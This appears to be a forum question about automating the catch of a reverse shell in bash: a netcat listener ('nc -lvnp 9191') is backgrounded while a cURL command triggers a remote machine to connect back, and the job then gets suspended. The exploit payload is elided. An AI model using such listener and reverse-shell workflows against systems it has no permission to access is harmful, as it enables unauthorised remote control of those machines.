This question is more related to infosec, but I can't seem to find a workaround in automating the following process:
There is a cURL command which triggers a connection to the netcat. Without automatization, I type in
nc -lvnp 9191, and in another terminal I enter the cURL command which establishes a connection back to my machine at port 9191 which I can then execute some commands in a remote machine.
I am trying something like this in my bash script:
nc -lvnp 9191& curl ......
The netcat starts a listener, goes into the background, the cURL triggers the connection (I receive the connection back), but the netcat immediately closes.
$ ./shell.sh Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::9191 Ncat: Listening on 0.0.0.0:9191 Ncat: Connection from xxx.xxx.xxx.xxx. Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx. $
If I remove the
nc -lvnp 9191& from the bash script and leave just the cURL command in the bash script, the following happens:
$ nc -lvnp 9191&  22609 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::9191 Ncat: Listening on 0.0.0.0:9191 $ ./shell.sh Ncat: Connection from xxx.xxx.xxx.xxx. Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx. cmd>
However, once I click 'enter', the netcat job gets suspended immediately:
 + 22609 suspended (tty input) nc -lvnp 9191
I have to
fg to resume the netcat job and continue working, but I was wondering if I could somehow save myself from all this trouble within the bash script itself.